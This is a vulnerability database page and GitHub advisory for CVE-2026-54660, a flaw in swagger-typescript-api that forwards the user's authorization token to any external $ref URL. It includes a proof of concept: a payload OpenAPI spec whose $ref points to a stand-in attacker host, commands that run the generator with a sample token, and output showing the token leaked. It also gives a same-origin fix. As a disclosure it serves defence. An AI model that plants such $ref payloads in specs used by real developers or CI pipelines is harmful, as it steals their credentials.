Vulnerability-Lookup

CVE-2026-54660 (GCVE-0-2026-54660)

Vulnerability from cvelistv5 – Published: 2026-07-29 14:21 – Updated: 2026-07-30 13:43

Title

swagger-typescript-api vulnerable to authorization-token exfiltration via spec `$ref`

Summary

swagger-typescript-api generates API clients for Fetch or Axios from OpenAPI specifications. Prior to 13.12.2, src/resolved-swagger-schema.ts getRemoteRequestHeaders forwards --authorizationToken to every URL fetched by fetchRemoteSchemaDocument while warmUpRemoteSchemasCache resolves external $ref URLs, allowing an attacker-controlled OpenAPI spec to exfiltrate the developer or CI bearer token to a cross-origin endpoint. This issue is fixed in version 13.12.2.

Severity

7.4 (High)


                        
                          CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:N/A:N

SSVC

Exploitation: poc Automatable: no Technical Impact: partial

CISA Coordinator (v2.0.3)

CWE

CWE-200 - Exposure of Sensitive Information to an Unauthorized Actor
CWE-201 - Insertion of Sensitive Information Into Sent Data
CWE-522 - Insufficiently Protected Credentials
CWE-918 - Server-Side Request Forgery (SSRF)

Assigner

GitHub_M

References

4 references

URL	Tags
https://github.com/acacode/swagger-typescript-api…	x_refsource_CONFIRM
https://github.com/acacode/swagger-typescript-api…	x_refsource_MISC
https://github.com/acacode/swagger-typescript-api…	x_refsource_MISC
https://github.com/acacode/swagger-typescript-api…	x_refsource_MISC

Impacted products

1 product

Vendor	Product	Version
acacode	swagger-typescript-api	Affected: < 13.12.2

Show details on NVD website

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GHSA-H754-FXP7-88WX

Vulnerability from github – Published: 2026-07-29 14:22 – Updated: 2026-07-29 14:22

Summary

swagger-typescript-api vulnerable to authorization-token exfiltration via spec `$ref`

Details

Summary

When the developer supplies an --authorizationToken (commonly required to fetch a private spec behind authentication), swagger-typescript-api attaches that token to the Authorization header of every subsequent HTTP request it makes while resolving external $ref URLs in the spec — with no same-origin check, no host allowlist, and no scope-down for cross-origin requests. A malicious OpenAPI spec containing a $ref to an attacker-controlled URL therefore causes the developer's bearer token to be sent verbatim to that URL during code generation.

The threat model is identical to the SSRF advisory filed alongside this one (companion finding), but with credential disclosure as the primary impact. The token is typically a high-value secret: a GitHub PAT, an OAuth bearer for the API the spec describes, an enterprise SSO token, an AWS-style API key, or similar. Disclosure to an attacker-controlled URL is one curl-equivalent away from full takeover of whatever scope the token grants.

Details

The header-builder lives in src/resolved-swagger-schema.ts:81-92:

private getRemoteRequestHeaders(): Record<string, string> {
  return Object.assign(
    {},
    this.config.authorizationToken
      ? {
          Authorization: this.config.authorizationToken,
        }
      : {},
    (this.config.requestOptions?.headers as
      | Record<string, string>
      | undefined) || {},
  );
}

There is no check that the request's destination URL shares an origin (or scheme, or host, or even top-level domain) with this.config.url — the URL the user originally specified. The headers object is unconditional.

getRemoteRequestHeaders is called by fetchRemoteSchemaDocument (src/resolved-swagger-schema.ts:374):

const response = await fetch(url, {
  headers: this.getRemoteRequestHeaders(),
});

…which is in turn called by warmUpRemoteSchemasCache (src/resolved-swagger-schema.ts:399-445) for every external $ref URL discovered while walking the spec.

Net effect: a spec whose response schema is

{ "$ref": "http://attacker.example/exfil-endpoint/data.json" }

causes the generator to send

GET /exfil-endpoint/data.json HTTP/1.1
Host: attacker.example
Authorization: <full value of --authorizationToken>

to attacker.example, regardless of where the original spec was hosted.

The --authorizationToken flag is the standard mechanism for consuming a spec behind auth — for example, fetching a private GitHub-hosted spec with a Personal Access Token, fetching a vendor API spec behind an OAuth bearer, fetching a Confluence-hosted spec with a session token. Setting --authorizationToken is therefore not an exotic configuration; it is the intended configuration for any non-public spec.

PoC

Self-contained reproducer in comments (install swagger-typescript-api@13.12.1 into a local node_modules, spin up two loopback HTTP servers — one serving the spec, one pretending to be the attacker's exfil endpoint — run the generator with authorizationToken set, observe what the attacker endpoint received). Tested on swagger-typescript-api@13.12.1 and Node v24.11.1.

Payload spec (served from http://127.0.0.1:<spec-port>/spec.json):

{
  "openapi": "3.0.0",
  "info": { "title": "TokenLeak-payload", "version": "1.0.0" },
  "paths": {
    "/p": {
      "get": {
        "operationId": "p",
        "responses": {
          "200": {
            "description": "OK",
            "content": {
              "application/json": {
                "schema": {
                  "$ref": "http://127.0.0.1:<attacker-port>/EXFIL_ENDPOINT/data.json"
                }
              }
            }
          }
        }
      }
    }
  }
}

Steps:

# 1. Start a loopback "attacker" HTTP server on a different port from the spec server.
# 2. Start a loopback "spec" HTTP server that serves the payload spec above.
# 3. Run the generator with --authorizationToken set.
npm install swagger-typescript-api@13.12.1
node -e "import('swagger-typescript-api').then(m => m.generateApi({
  output: '/tmp/out',
  url: 'http://127.0.0.1:<spec-port>/spec.json',
  authorizationToken: 'Bearer USER_GITHUB_PAT_super_secret_xyz123',
  httpClientType: 'fetch'
}))"

Observed:

[control] (no cross-origin $ref) → attacker-server hits: 0
[payload] ($ref → http://attacker)
  attacker-server hits: 1
  hit: /EXFIL_ENDPOINT/data.json  Authorization header: Bearer USER_GITHUB_PAT_super_secret_xyz123
  TOKEN LEAKED — attacker server received user-supplied authorizationToken verbatim

The attacker-controlled endpoint received the developer's full Bearer ... token verbatim, sent by the generator while resolving the spec's $ref.

Impact

Type: Insufficiently Protected Credentials (CWE-522) / Exposure of Sensitive Information to an Unauthorized Actor (CWE-200) / Insertion of Sensitive Information into Sent Data (CWE-201) via missing same-origin check on credentialed HTTP requests.

Affected use cases:

A developer fetching a private OpenAPI spec behind authentication (GitHub-hosted private spec, vendor-API spec on an OAuth-protected URL, Atlassian / Confluence / enterprise wiki-hosted spec) and the spec author is not the developer. This is the literal documented usage of --authorizationToken.
A CI/CD pipeline regenerating clients from a private spec on every build — the CI's authentication token (often a long-lived service-account credential) leaks on every run.
A multi-tenant SaaS that generates per-tenant clients from tenant-supplied specs — a tenant's malicious spec captures the SaaS provider's API key.
Any project where a contributor can modify the pinned spec via PR — the project's CI credentials leak on first build of the malicious PR.

Lifecycle: generation-time. The token leak happens when the developer or CI pipeline runs swagger-typescript-api generate, not when the generated client is later imported.

Privilege of stolen token: typically the developer's API authentication for the target service — a GitHub PAT (full source-code read/write to whatever repos the PAT scope allows), an OAuth bearer (full impersonation on the API), an AWS-style key (full account access depending on IAM policy), or a CI service-account token (full CI/CD pipeline access). Token capture is functionally equivalent to credential theft — the attacker gains the same scope of access the developer had.

Suggested fix:

The minimum sufficient fix is a same-origin check on the Authorization header forwarding:

// in src/resolved-swagger-schema.ts:81-92
private getRemoteRequestHeaders(targetUrl?: string): Record<string, string> {
  const headers: Record<string, string> = {};

  // Only attach Authorization if the target URL shares an origin with the
  // user-supplied spec URL. Otherwise the token is leaked across origins.
  if (
    this.config.authorizationToken &&
    targetUrl &&
    this.isSameOrigin(targetUrl, this.config.url)
  ) {
    headers.Authorization = this.config.authorizationToken;
  }

  return Object.assign(
    headers,
    (this.config.requestOptions?.headers as Record<string, string> | undefined) || {},
  );
}

private isSameOrigin(a: string, b: string | undefined): boolean {
  if (typeof b !== "string") return false;
  try {
    const ua = new URL(a);
    const ub = new URL(b);
    return ua.protocol === ub.protocol && ua.host === ub.host;
  } catch {
    return false;
  }
}

Then update the call site fetchRemoteSchemaDocument (src/resolved-swagger-schema.ts:374) to pass the destination URL:

const response = await fetch(url, {
  headers: this.getRemoteRequestHeaders(url),
});

This is the same model browsers apply to credentialed fetch requests by default. It does not break legitimate same-server $refs — those still authenticate normally. It only strips the token when the target's origin differs from the spec source's origin.

For deeper hardening, combine this with the SSRF mitigations recommended in the companion advisory (private-IP filter + custom undici dispatcher with redirect re-validation). The two fixes are complementary: the SSRF guard prevents the request from reaching the attacker at all; the same-origin guard prevents credential leakage even if the request does happen.

Submitted by: Hamza Haroon (thegr1ffyn)

Severity

7.4 (High)


                  
                    CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:N/A:N

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JSON

To clipboard

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 13.12.1"
      },
      "package": {
        "ecosystem": "npm",
        "name": "swagger-typescript-api"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "13.12.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-54660"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-200",
      "CWE-201",
      "CWE-522",
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-07-29T14:22:46Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "### Summary\n\nWhen the developer supplies an `--authorizationToken` (commonly required to fetch a private spec behind authentication), `swagger-typescript-api` attaches that token to the `Authorization` header of **every** subsequent HTTP request it makes while resolving external `$ref` URLs in the spec \u2014 with **no same-origin check, no host allowlist, and no scope-down** for cross-origin requests. A malicious OpenAPI spec containing a `$ref` to an attacker-controlled URL therefore causes the developer\u0027s bearer token to be sent verbatim to that URL during code generation.\n\nThe threat model is identical to the SSRF advisory filed alongside this one (companion finding), but with credential disclosure as the primary impact. The token is typically a high-value secret: a GitHub PAT, an OAuth bearer for the API the spec describes, an enterprise SSO token, an AWS-style API key, or similar. Disclosure to an attacker-controlled URL is one curl-equivalent away from full takeover of whatever scope the token grants.\n\n### Details\n\nThe header-builder lives in `src/resolved-swagger-schema.ts:81-92`:\n\n```ts\nprivate getRemoteRequestHeaders(): Record\u003cstring, string\u003e {\n  return Object.assign(\n    {},\n    this.config.authorizationToken\n      ? {\n          Authorization: this.config.authorizationToken,\n        }\n      : {},\n    (this.config.requestOptions?.headers as\n      | Record\u003cstring, string\u003e\n      | undefined) || {},\n  );\n}\n```\n\nThere is no check that the request\u0027s destination URL shares an origin (or scheme, or host, or even top-level domain) with `this.config.url` \u2014 the URL the user originally specified. The headers object is unconditional.\n\n`getRemoteRequestHeaders` is called by `fetchRemoteSchemaDocument` (`src/resolved-swagger-schema.ts:374`):\n\n```ts\nconst response = await fetch(url, {\n  headers: this.getRemoteRequestHeaders(),\n});\n```\n\n\u2026which is in turn called by `warmUpRemoteSchemasCache` (`src/resolved-swagger-schema.ts:399-445`) for every external `$ref` URL discovered while walking the spec.\n\nNet effect: a spec whose response schema is\n\n```json\n{ \"$ref\": \"http://attacker.example/exfil-endpoint/data.json\" }\n```\n\ncauses the generator to send\n\n```\nGET /exfil-endpoint/data.json HTTP/1.1\nHost: attacker.example\nAuthorization: \u003cfull value of --authorizationToken\u003e\n```\n\nto `attacker.example`, regardless of where the original spec was hosted.\n\nThe `--authorizationToken` flag is the standard mechanism for consuming a spec behind auth \u2014 for example, fetching a private GitHub-hosted spec with a Personal Access Token, fetching a vendor API spec behind an OAuth bearer, fetching a Confluence-hosted spec with a session token. Setting `--authorizationToken` is therefore not an exotic configuration; it is the *intended* configuration for any non-public spec.\n\n### PoC\n\nSelf-contained reproducer in comments (install `swagger-typescript-api@13.12.1` into a local `node_modules`, spin up two loopback HTTP servers \u2014 one serving the spec, one pretending to be the attacker\u0027s exfil endpoint \u2014 run the generator with `authorizationToken` set, observe what the attacker endpoint received). Tested on `swagger-typescript-api@13.12.1` and Node `v24.11.1`.\n\n**Payload spec** (served from `http://127.0.0.1:\u003cspec-port\u003e/spec.json`):\n\n```json\n{\n  \"openapi\": \"3.0.0\",\n  \"info\": { \"title\": \"TokenLeak-payload\", \"version\": \"1.0.0\" },\n  \"paths\": {\n    \"/p\": {\n      \"get\": {\n        \"operationId\": \"p\",\n        \"responses\": {\n          \"200\": {\n            \"description\": \"OK\",\n            \"content\": {\n              \"application/json\": {\n                \"schema\": {\n                  \"$ref\": \"http://127.0.0.1:\u003cattacker-port\u003e/EXFIL_ENDPOINT/data.json\"\n                }\n              }\n            }\n          }\n        }\n      }\n    }\n  }\n}\n```\n\n**Steps:**\n\n```bash\n# 1. Start a loopback \"attacker\" HTTP server on a different port from the spec server.\n# 2. Start a loopback \"spec\" HTTP server that serves the payload spec above.\n# 3. Run the generator with --authorizationToken set.\nnpm install swagger-typescript-api@13.12.1\nnode -e \"import(\u0027swagger-typescript-api\u0027).then(m =\u003e m.generateApi({\n  output: \u0027/tmp/out\u0027,\n  url: \u0027http://127.0.0.1:\u003cspec-port\u003e/spec.json\u0027,\n  authorizationToken: \u0027Bearer USER_GITHUB_PAT_super_secret_xyz123\u0027,\n  httpClientType: \u0027fetch\u0027\n}))\"\n```\n\n**Observed:**\n\n```\n[control] (no cross-origin $ref) \u2192 attacker-server hits: 0\n[payload] ($ref \u2192 http://attacker)\n  attacker-server hits: 1\n  hit: /EXFIL_ENDPOINT/data.json  Authorization header: Bearer USER_GITHUB_PAT_super_secret_xyz123\n  TOKEN LEAKED \u2014 attacker server received user-supplied authorizationToken verbatim\n```\n\nThe attacker-controlled endpoint received the developer\u0027s full `Bearer ...` token verbatim, sent by the generator while resolving the spec\u0027s `$ref`.\n\n### Impact\n\n**Type:** Insufficiently Protected Credentials (CWE-522) / Exposure of Sensitive Information to an Unauthorized Actor (CWE-200) / Insertion of Sensitive Information into Sent Data (CWE-201) via missing same-origin check on credentialed HTTP requests.\n\n**Affected use cases:**\n\n- **A developer fetching a private OpenAPI spec behind authentication** (GitHub-hosted private spec, vendor-API spec on an OAuth-protected URL, Atlassian / Confluence / enterprise wiki-hosted spec) and the spec author is not the developer. This is the literal documented usage of `--authorizationToken`.\n- **A CI/CD pipeline regenerating clients from a private spec on every build** \u2014 the CI\u0027s authentication token (often a long-lived service-account credential) leaks on every run.\n- **A multi-tenant SaaS that generates per-tenant clients from tenant-supplied specs** \u2014 a tenant\u0027s malicious spec captures the SaaS provider\u0027s API key.\n- **Any project where a contributor can modify the pinned spec via PR** \u2014 the project\u0027s CI credentials leak on first build of the malicious PR.\n\n**Lifecycle:** generation-time. The token leak happens when the developer or CI pipeline runs `swagger-typescript-api generate`, not when the generated client is later imported.\n\n**Privilege of stolen token:** typically the developer\u0027s API authentication for the target service \u2014 a GitHub PAT (full source-code read/write to whatever repos the PAT scope allows), an OAuth bearer (full impersonation on the API), an AWS-style key (full account access depending on IAM policy), or a CI service-account token (full CI/CD pipeline access). Token capture is functionally equivalent to credential theft \u2014 the attacker gains the same scope of access the developer had.\n\n**Suggested fix:**\n\nThe minimum sufficient fix is a same-origin check on the `Authorization` header forwarding:\n\n```ts\n// in src/resolved-swagger-schema.ts:81-92\nprivate getRemoteRequestHeaders(targetUrl?: string): Record\u003cstring, string\u003e {\n  const headers: Record\u003cstring, string\u003e = {};\n\n  // Only attach Authorization if the target URL shares an origin with the\n  // user-supplied spec URL. Otherwise the token is leaked across origins.\n  if (\n    this.config.authorizationToken \u0026\u0026\n    targetUrl \u0026\u0026\n    this.isSameOrigin(targetUrl, this.config.url)\n  ) {\n    headers.Authorization = this.config.authorizationToken;\n  }\n\n  return Object.assign(\n    headers,\n    (this.config.requestOptions?.headers as Record\u003cstring, string\u003e | undefined) || {},\n  );\n}\n\nprivate isSameOrigin(a: string, b: string | undefined): boolean {\n  if (typeof b !== \"string\") return false;\n  try {\n    const ua = new URL(a);\n    const ub = new URL(b);\n    return ua.protocol === ub.protocol \u0026\u0026 ua.host === ub.host;\n  } catch {\n    return false;\n  }\n}\n```\n\nThen update the call site `fetchRemoteSchemaDocument` (`src/resolved-swagger-schema.ts:374`) to pass the destination URL:\n\n```ts\nconst response = await fetch(url, {\n  headers: this.getRemoteRequestHeaders(url),\n});\n```\n\nThis is the same model browsers apply to credentialed `fetch` requests by default. It does not break legitimate same-server `$ref`s \u2014 those still authenticate normally. It only strips the token when the target\u0027s origin differs from the spec source\u0027s origin.\n\nFor deeper hardening, combine this with the SSRF mitigations recommended in the companion advisory (private-IP filter + custom undici dispatcher with redirect re-validation). The two fixes are complementary: the SSRF guard prevents the request from reaching the attacker at all; the same-origin guard prevents credential leakage even if the request does happen.\n\nSubmitted by: Hamza Haroon (thegr1ffyn)",
  "id": "GHSA-h754-fxp7-88wx",
  "modified": "2026-07-29T14:22:46Z",
  "published": "2026-07-29T14:22:46Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/acacode/swagger-typescript-api/security/advisories/GHSA-h754-fxp7-88wx"
    },
    {
      "type": "WEB",
      "url": "https://github.com/acacode/swagger-typescript-api/pull/1779"
    },
    {
      "type": "WEB",
      "url": "https://github.com/acacode/swagger-typescript-api/commit/306d59acb8ffbb00f953f807b97234b21f51d9de"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/acacode/swagger-typescript-api"
    },
    {
      "type": "WEB",
      "url": "https://github.com/acacode/swagger-typescript-api/releases/tag/v13.12.2"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "swagger-typescript-api vulnerable to authorization-token exfiltration via spec `$ref`"
}

Sightings

Author	Source	Type	Date	Other

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Seen: The vulnerability was mentioned, discussed, or observed by the user.
Confirmed: The vulnerability has been validated from an analyst's perspective.
Published Proof of Concept: A public proof of concept is available for this vulnerability.
Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
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Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Detection rules are retrieved from Rulezet.

The MITRE ATT&CK techniques below are AI-generated suggestions, inferred from the description of the vulnerability by the CIRCL/vulnerability-attack-technique-classification-roberta-base model, served locally by ML-Gateway. They have not been verified by an analyst and are provided for guidance only.

Action not permitted

CVE-2026-54660 (GCVE-0-2026-54660)

GHSA-H754-FXP7-88WX

Summary

Details

PoC

Impact

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Nomenclature